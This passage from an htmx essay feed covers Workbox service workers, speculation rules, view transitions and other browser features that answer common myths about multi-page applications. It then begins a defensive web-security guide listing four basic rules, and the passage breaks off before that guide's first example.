&lt;h3 id=&quot;steps-to-use-workbox&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#steps-to-use-workbox&quot; aria-label=&quot;Anchor link for: steps-to-use-workbox&quot;&gt;Steps to Use Workbox:&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Workbox&lt;&#x2F;strong&gt;: Install Workbox via npm or your preferred package manager:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;npm&lt;&#x2F;span&gt;&lt;span&gt; install workbox-cli&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt; --global
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Generate a Workbox Configuration file: Run the following command to create a configuration file:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;workbox&lt;&#x2F;span&gt;&lt;span&gt; wizard
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure Asset Handling&lt;&#x2F;strong&gt;: In the generated &lt;code&gt;workbox-config.js&lt;&#x2F;code&gt; file, define how different assets should be
cached. Use the &lt;code&gt;urlPattern&lt;&#x2F;code&gt; property—a regular expression—to match specific HTTP requests. For each matching
request, specify a caching strategy, such as &lt;code&gt;CacheFirst&lt;&#x2F;code&gt; or &lt;code&gt;NetworkFirst&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;you-cant&#x2F;workbox-cfg.png&quot; alt=&quot;workbox-cfg.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Build the Service Worker&lt;&#x2F;strong&gt;: Run the Workbox build command to generate the &lt;code&gt;sw.js&lt;&#x2F;code&gt; file based on your configuration:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;workbox&lt;&#x2F;span&gt;&lt;span&gt; generateSW workbox-config.js
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Register the Service Worker in Your Application&lt;&#x2F;strong&gt;: Add the following script to your HTML pages to register the
service worker:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;serviceWorker&amp;#39; &lt;&#x2F;span&gt;&lt;span&gt;in navigator) {
&lt;&#x2F;span&gt;&lt;span&gt;    window.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;addEventListener&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;load&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;() {
&lt;&#x2F;span&gt;&lt;span&gt;      navigator.serviceWorker.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;register&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;&#x2F;sw.js&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;then&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(registration) {
&lt;&#x2F;span&gt;&lt;span&gt;        console.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;ServiceWorker registration successful with scope: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;registration&lt;&#x2F;span&gt;&lt;span&gt;.scope);
&lt;&#x2F;span&gt;&lt;span&gt;      }, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c678dd;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span&gt;(err) {
&lt;&#x2F;span&gt;&lt;span&gt;        console.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#56b6c2;&quot;&gt;log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;#39;ServiceWorker registration failed: &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;err&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;      });
&lt;&#x2F;span&gt;&lt;span&gt;    });
&lt;&#x2F;span&gt;&lt;span&gt;  }
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;script&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;By following these steps, you instruct the browser to serve cached assets whenever possible, drastically reducing load
times and improving the overall performance of your multi-page application.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;you-cant&#x2F;service-worker.png&quot; alt=&quot;Image showing the registered service worker from the Chrome browser console.&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Image showing the registered service worker from the Chrome browser console.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;speculation-rules-api-prerender-pages-for-instant-page-navigation&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#speculation-rules-api-prerender-pages-for-instant-page-navigation&quot; aria-label=&quot;Anchor link for: speculation-rules-api-prerender-pages-for-instant-page-navigation&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Speculation_Rules_API&quot;&gt;&lt;code&gt;Speculation Rules API&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;: Prerender pages for instant page navigation.&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;If you have used &lt;strong&gt;htmx-preload&lt;&#x2F;strong&gt; or &lt;strong&gt;instantpage.js,&lt;&#x2F;strong&gt; you’re familiar with prerendering and the problem
the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.mozilla.org&#x2F;en-US&#x2F;docs&#x2F;Web&#x2F;API&#x2F;Speculation_Rules_API&quot;&gt;“Speculation Rules API”&lt;&#x2F;a&gt; aims to solve. The
Speculation Rules API is designed to improve performance for future navigations. It has an expressive syntax for
specifying which links should be prefetched or prerendered on the current page.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;you-cant&#x2F;speculation-rules.png&quot; alt=&quot;Speculation rules configuration example&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Speculation rules configuration example&lt;&#x2F;p&gt;
&lt;p&gt;The script above is an example of how speculation rules are configured. It is a Javascript object, and without going
into detail, you can see that it uses keywords such as “where,” “and,” “not,” etc. to describe what elements should
either be prefetched or prerendered.&lt;&#x2F;p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;&#x2F;img&#x2F;you-cant&#x2F;prerender-vid.mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;web-platform&#x2F;prerender-pages&quot;&gt;Example impact of prerendering (Chrome Team)&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;myth-2-mpas-can-t-operate-offline-and-save-updates-to-retry-when-there-s-network&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#myth-2-mpas-can-t-operate-offline-and-save-updates-to-retry-when-there-s-network&quot; aria-label=&quot;Anchor link for: myth-2-mpas-can-t-operate-offline-and-save-updates-to-retry-when-there-s-network&quot;&gt;Myth 2: MPAs can’t operate offline and save updates to retry when there’s network&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;From the last sections, you know that service workers can cache everything and make our apps operate entirely offline.
But what if we want to save offline POST requests and retry them when there is internet?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;you-cant&#x2F;workbox-offline-cfg.png&quot; alt=&quot;workbox-offline-cfg.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The configuration javascript file above shows how to configure Workbox to support two common offline scenarios. Here,
you see background Sync, where we ask the service worker to cache any failed requests due to the internet and retry it
for up to 24 hours.&lt;&#x2F;p&gt;
&lt;p&gt;Below, we define an offline catch Handler, triggered when a request is made offline. We can return a template partial
with HTML or a JSON response or dynamically build a response based on the request input. The sky is the limit here.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;myth-3-mpas-always-flash-white-during-page-transitions&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#myth-3-mpas-always-flash-white-during-page-transitions&quot; aria-label=&quot;Anchor link for: myth-3-mpas-always-flash-white-during-page-transitions&quot;&gt;Myth 3: MPAs always flash white during page Transitions&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;In the service worker videos, we already saw that this will not happen if we configure caching and prerendering.
However, this myth was not generally true until 2019. Since 2019, most browsers withhold painting the next screen until
all the required assets for the next page are available or a timeout is reached, resulting in no flash of white while
transitioning between both pages. This only works when navigating within the same origin&#x2F;domain.&lt;&#x2F;p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;&#x2F;img&#x2F;you-cant&#x2F;paint-holding.mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;blog&#x2F;paint-holding&quot;&gt;Paint holding documentation on chrome.com&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;myth-4-fancy-cross-document-page-transitions-are-not-possible-with-mpas&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#myth-4-fancy-cross-document-page-transitions-are-not-possible-with-mpas&quot; aria-label=&quot;Anchor link for: myth-4-fancy-cross-document-page-transitions-are-not-possible-with-mpas&quot;&gt;Myth 4: Fancy Cross-document page transitions are not possible with MPAs.&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The advent of single-page application frameworks made custom transitions between pages more popular. The allure of
different navigation styles comes from completely taking control of page navigation from the browsers. In practice, such
transitions have mostly been popular within the demos at web dev conference talks.&lt;&#x2F;p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;&#x2F;img&#x2F;you-cant&#x2F;page-transitions.mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;web-platform&#x2F;view-transitions&quot;&gt;Cross Document Transitions documentation on chrome.com&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This remains a common argument for single-page applications, especially on Reddit and Hacker News comment sections.
However, browsers have been working towards solving this problem natively for the last couple of years. Chrome 126
rolled out cross-document view transitions. This means we can build our MPAs to include those fancy animations and
transitions between pages using CSS only or CSS and Javascript.&lt;&#x2F;p&gt;
&lt;p&gt;My favorite bit is that we might be able to create lovely cross-document transitions with CSS only:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;you-cant&#x2F;cross-doc-transitions-css.png&quot; alt=&quot;cross-doc-transitions-css.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You can quickly learn more on
the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developer.chrome.com&#x2F;docs&#x2F;web-platform&#x2F;view-transitions&quot;&gt;Google Chrome announcement page&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This link hosts a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;view-transitions.netlify.app&#x2F;stack-navigator&#x2F;mpa-prerender&#x2F;&quot;&gt;multi-page application demo&lt;&#x2F;a&gt;,
where you can play around with a rudimentary server-rendered application using the cross-document view transitions API
to simulate a stack-based animation.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;myth-5-with-htmx-or-mpas-every-user-action-must-happen-on-the-server&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#myth-5-with-htmx-or-mpas-every-user-action-must-happen-on-the-server&quot; aria-label=&quot;Anchor link for: myth-5-with-htmx-or-mpas-every-user-action-must-happen-on-the-server&quot;&gt;Myth 5: With htmx or MPAs, every user action must happen on the server.&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;I’ve heard this a lot when HTMX is discussed. So, there might be some confusion caused by the HTMX positioning. But you
don’t have to do everything server-side. Many HTMX and regular MPA users continue to use Javascript, Alpine, or
Hyperscript where appropriate.&lt;&#x2F;p&gt;
&lt;p&gt;In situations where robust interactivity is helpful, you can lean into the component islands architecture using
WebComponents or any javascript framework (React, Angular, etc.) of your choice. That way, instead of your entire
application being an SPA, you can leverage those frameworks specifically for the bits of your application that need that
interactivity.&lt;&#x2F;p&gt;
&lt;p&gt;The example above shows a very interactive search component in the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;apitoolkit.io&quot;&gt;APItoolkit&lt;&#x2F;a&gt;. It’s a web
component implemented with lit-element, a zero-compile-step library for writing web components. So, the entire web
component event fits in a Javascript file.&lt;&#x2F;p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;&#x2F;img&#x2F;you-cant&#x2F;webcomponents-filter-element2.mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;h2 id=&quot;myth-6-operating-directly-on-the-dom-is-slow-therefore-it-would-be-best-to-use-react-virtual-dom&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#myth-6-operating-directly-on-the-dom-is-slow-therefore-it-would-be-best-to-use-react-virtual-dom&quot; aria-label=&quot;Anchor link for: myth-6-operating-directly-on-the-dom-is-slow-therefore-it-would-be-best-to-use-react-virtual-dom&quot;&gt;Myth 6: Operating directly on the DOM is slow. Therefore, it would be best to use React&#x2F;Virtual DOM.&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The speed of direct DOM operations was a major motivation for building ReactJS on and popularizing the virtual DOM
technology. While virtual DOM operations can be faster than direct DOM operations, this is only true for applications
that perform many complex operations and refresh in milliseconds, where that performance might be noticeable. But most
of us are not building such software.&lt;&#x2F;p&gt;
&lt;p&gt;The Svelte team wrote an excellent article
titled &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;svelte.dev&#x2F;blog&#x2F;virtual-dom-is-pure-overhead&quot;&gt;“Virtual DOM is pure Overhead.”&lt;&#x2F;a&gt; I recommend reading it,
as it better explains why Virtual DOM doesn’t matter for most applications.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;myth-7-you-still-need-to-write-javascript-for-every-minor-interactivity&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#myth-7-you-still-need-to-write-javascript-for-every-minor-interactivity&quot; aria-label=&quot;Anchor link for: myth-7-you-still-need-to-write-javascript-for-every-minor-interactivity&quot;&gt;Myth 7: You still need to write JavaScript for every minor interactivity.&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;With the advancements in browser tech, you can avoid writing a lot of client-side Javascript in the first place. For
example, a standard action on the web is to show and hide things based on a button click or toggle. These days, you can
show and hide elements with only CSS and HTML, for example, by using an HTML input checkbox to track state. We can style
an HTML label as a button and give it a &lt;code&gt;for=&quot;checkboxID&lt;&#x2F;code&gt;“ attribute, so clicking the label toggles the checkbox.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;jsx&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-jsx &quot;&gt;&lt;code class=&quot;language-jsx&quot; data-lang=&quot;jsx&quot;&gt;&lt;span&gt;&amp;lt;input id=&amp;quot;published&amp;quot; class=&amp;quot;hidden peer&amp;quot; type=&amp;quot;checkbox&amp;quot;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;label for=&amp;quot;published&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;toggle content&amp;lt;&#x2F;label&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;div class=&amp;quot;hidden peer-checked:block&amp;quot;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;    Content to be toggled when label&#x2F;btn is clicked
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;div&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can combine such a checkbox with HTMX intersect to fetch content from an endpoint when the button is clicked.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;html&quot; style=&quot;background-color:#1f2329;color:#abb2bf;&quot; class=&quot;language-html &quot;&gt;&lt;code class=&quot;language-html&quot; data-lang=&quot;html&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;input &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;published&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;peer&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;checkbox&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;status&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;class&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;hidden peer-checked:block&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-trigger&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;intersect once&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d19a66;&quot;&gt;hx-get&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#98c379;&quot;&gt;&amp;quot;&#x2F;log-item&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Shell&#x2F;Loading text etc
&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e06c75;&quot;&gt;div&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;All the classes above are vanilla &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tailwindcss.com&#x2F;&quot;&gt;Tailwind CSS&lt;&#x2F;a&gt; classes, but you can also write the CSS by
hand. Below is a video of that code being used to hide or reveal log items in the log explorer.&lt;&#x2F;p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;&#x2F;img&#x2F;you-cant&#x2F;expanding-log-item.mp4&quot;&gt;
&lt;&#x2F;video&gt;
&lt;h2 id=&quot;final-myth-without-a-proper-frontend-framework-your-client-side-javascript-will-be-spaghetti-and-unmaintainable&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#final-myth-without-a-proper-frontend-framework-your-client-side-javascript-will-be-spaghetti-and-unmaintainable&quot; aria-label=&quot;Anchor link for: final-myth-without-a-proper-frontend-framework-your-client-side-javascript-will-be-spaghetti-and-unmaintainable&quot;&gt;Final Myth: Without a &lt;em&gt;“Proper”&lt;&#x2F;em&gt; frontend framework, your Client-side Javascript will be &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;webdev&#x2F;comments&#x2F;bkk0gl&#x2F;avoiding_the_vanillajs_spaghetticode&#x2F;&quot;&gt;Spaghetti and Unmaintainable&lt;&#x2F;a&gt;.&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;This may or may not be true.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;who-cares-i-love-spaghetti&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#who-cares-i-love-spaghetti&quot; aria-label=&quot;Anchor link for: who-cares-i-love-spaghetti&quot;&gt;Who cares? I love Spaghetti.&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;I like to argue that some of the most productive days of the web were the PHP and JQuery spaghetti days. A lot of
software was built at that time, including many of the popular internet brands we know today. Most of them were built as
so-called spaghetti codes, which helped them ship their products early and survive long enough to refactor and not be
spaghetti.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#conclusion&quot; aria-label=&quot;Anchor link for: conclusion&quot;&gt;Conclusion&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The entire point of this talk is to show you that a lot is possible with browsers in 2024. While we were not looking,
browsers have closed the gap and borrowed the best ideas from the single-page application revolution. For example,
WebComponents exist thanks to the lessons we learned from single-page applications.&lt;&#x2F;p&gt;
&lt;p&gt;So now, we can build very interactive, even offline web applications using mostly browser tools—HTML, CSS, maybe some
Javascript—and still not sacrifice much in terms of user experience.&lt;&#x2F;p&gt;
&lt;h3&gt;The browser has come a long way. Give it a chance!&lt;&#x2F;h3&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Web Security Basics (with htmx)</title>
        <published>2024-02-06T00:00:00+00:00</published>
        <updated>2024-02-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            Alexander Petros
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://htmx.org/essays/web-security-basics-with-htmx/"/>
        <id>https://htmx.org/essays/web-security-basics-with-htmx/</id>
        
        <content type="html" xml:base="https://htmx.org/essays/web-security-basics-with-htmx/">&lt;p&gt;As htmx has gotten more popular, it’s reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly.&lt;&#x2F;p&gt;
&lt;p&gt;But have no fear! Writing web applications with HTML templates is a slightly different security model, but it’s no harder than securing a JSX-based application, and in some ways it’s a lot easier.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;who-is-guide-this-for&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#who-is-guide-this-for&quot; aria-label=&quot;Anchor link for: who-is-guide-this-for&quot;&gt;Who is guide this for?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;These are web security basics with htmx, but they’re (mostly) not htmx-specific—these concepts are important to know if you’re putting &lt;em&gt;any&lt;&#x2F;em&gt; dynamic, user-generated content on the web.&lt;&#x2F;p&gt;
&lt;p&gt;For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create &lt;code&gt;GET&lt;&#x2F;code&gt; routes that can alter the backend state. We also assume that you’re not doing anything super fancy, like making a website that hosts other people’s websites. If you’re doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide.&lt;&#x2F;p&gt;
&lt;p&gt;We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can’t catch everyone. No security guide is perfectly comprehensive. If you feel there’s a mistake, or an obvious gotcha that we should have mentioned, please reach out and we’ll update it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-golden-rules&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-golden-rules&quot; aria-label=&quot;Anchor link for: the-golden-rules&quot;&gt;The Golden Rules&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Follow these four simple rules, and you’ll be following the client security best practices:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Only call routes you control&lt;&#x2F;li&gt;
&lt;li&gt;Always use an auto-escaping template engine&lt;&#x2F;li&gt;
&lt;li&gt;Only serve user-generated content inside HTML tags&lt;&#x2F;li&gt;
&lt;li&gt;If you have authentication cookies, set them with &lt;code&gt;Secure&lt;&#x2F;code&gt;, &lt;code&gt;HttpOnly&lt;&#x2F;code&gt;, and &lt;code&gt;SameSite=Lax&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;In the following section, I’ll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them.&lt;&#x2F;p&gt;
&lt;p&gt;Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you’ll be doing so with the full knowledge that you’re increasing the conceptual burden of securing your application. And you’ll have learned a lot about web security in the process.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;understanding-the-rules&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#understanding-the-rules&quot; aria-label=&quot;Anchor link for: understanding-the-rules&quot;&gt;Understanding the Rules&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;only-call-routes-you-control&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#only-call-routes-you-control&quot; aria-label=&quot;Anchor link for: only-call-routes-you-control&quot;&gt;Only call routes you control&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;This is the most basic one, and the most important: &lt;strong&gt;do not call untrusted routes with htmx.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In practice, this means you should only use relative URLs. This is fine:&lt;&#x2F;p&gt;
